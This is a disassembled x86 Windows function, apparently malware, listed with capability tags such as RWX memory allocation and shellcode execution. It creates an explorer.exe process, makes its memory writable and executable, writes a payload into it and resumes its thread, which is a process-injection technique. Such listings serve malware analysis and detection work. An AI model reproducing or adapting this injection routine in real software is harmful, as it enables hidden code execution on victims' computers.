Function at 0x401000
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd44
push esi
push edi
push 0x44
xor eax, eax
pop edx
lea edi, [ebp - 0x54]
push 0x10
mov dword [ebp - 0x58], edx
pop ecx
mov esi, str.explorer.exe
rep stosd dword es:[edi], eax
push 6
lea edi, [ebp - 0xd44]
pop ecx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x7b
lea edi, [ebp - 0xd2a]
pop ecx
mov esi, dword [sym.imp.KERNEL32.dll_CreateProcessW]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0xd44]
push eax
lea eax, [ebp - 0x58]
push eax
xor eax, eax
push eax
push eax
push edx
push eax
push eax
push eax
push ecx
push eax
call esi
test eax, eax
je 0x4012ea
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xb38], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0xb30], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0xb2c], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0xb28], eax
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
mov dword [ebp - 0xb24], eax
mov eax, dword [sym.imp.MSVCRT.dll_sprintf]
mov dword [ebp - 0xb20], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [ebp - 0xb1c], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov dword [ebp - 0xb18], eax
mov eax, dword [sym.imp.MSVCRT.dll__wfopen]
mov dword [ebp - 0xb14], eax
mov eax, dword [sym.imp.MSVCRT.dll_fseek]
mov dword [ebp - 0xb10], eax
mov eax, dword [sym.imp.MSVCRT.dll_fwrite]
mov dword [ebp - 0xb0c], eax
mov eax, dword [sym.imp.MSVCRT.dll_fread]
mov dword [ebp - 0xb08], eax
mov eax, dword [sym.imp.MSVCRT.dll_fclose]
mov dword [ebp - 0xb04], eax
mov eax, dword [sym.imp.MSVCRT.dll_malloc]
mov dword [ebp - 0xb00], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov dword [ebp - 0xaf4], eax
mov eax, dword [sym.imp.MSVCRT.dll_wcscat]
mov dword [ebp - 0xaec], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xae4], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileTime]
mov dword [ebp - 0xae0], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov dword [ebp - 0xadc], eax
mov eax, dword [sym.imp.MSVCRT.dll_wcsrchr]
mov dword [ebp - 0xad8], eax
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileW]
mov dword [ebp - 0xad4], eax
mov eax, dword [sym.imp.MSVCRT.dll__chsize]
mov dword [ebp - 0xad0], eax
mov eax, dword [sym.imp.MSVCRT.dll__fileno]
mov dword [ebp - 0xacc], eax
mov eax, dword [sym.imp.MSVCRT.dll_fflush]
mov dword [ebp - 0xac8], eax
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0xac4], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetFileTime]
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_free]
push dword [ebp + 8]
mov dword [ebp - 0xac0], eax
mov dword [ebp - 0xaf8], esi
mov esi, dword [sym.imp.MSVCRT.dll_wcscpy]
lea eax, [ebp - 0x8b4]
mov dword [ebp - 0xb34], edi
push eax
mov dword [ebp - 0xafc], ebx
mov dword [ebp - 0xaf0], 0x401664
mov dword [ebp - 0xae8], esi
call esi
lea eax, [ebp - 0xae]
push 0x403064
push eax
call esi
lea eax, [ebp - 0xb4]
push 0x40305c
push eax
call esi
lea eax, [ebp - 0xa6]
push 0x403054
push eax
call esi
lea eax, [ebp - 0x9e]
push 0x40304c
push eax
call esi
lea eax, [ebp - 0x96]
push str..exe
push eax
call esi
lea eax, [ebp - 0x8c]
push str.open
push eax
call esi
lea eax, [ebp - 0x82]
push str.:Zone.Identifier
push eax
call esi
add esp, 0x40
xor eax, eax
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov word [ebp - 0xa8], 0x5c
push eax
push eax
push eax
lea eax, [ebp - 0xb3c]
push eax
push dword [ebp - 0x10]
call esi
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
lea eax, [ebp - 0xabc]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call fcn.00401363
mov esi, dword [ebp + 0xc]
lea ecx, [ebp + 0x10]
push esi
push ecx
push eax
mov dword [ebp + 8], eax
call fcn.004012f0
add esp, 0x14
lea eax, [ebp - 0x14]
push eax
lea eax, [esi + 0xae2]
push 0x40
push eax
push dword [ebp + 8]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push esi
push dword [ebp + 0x10]
push dword [ebp + 8]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
lea eax, [ebp - 0xb3c]
push 0xae2
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0xc]
call edi
push dword [ebp - 0x10]
call edi
push dword [ebp + 0x10]
call ebx
pop ecx
push 1
pop eax
pop ebx
jmp 0x4012ec
xor eax, eax
pop edi
pop esi
leave
ret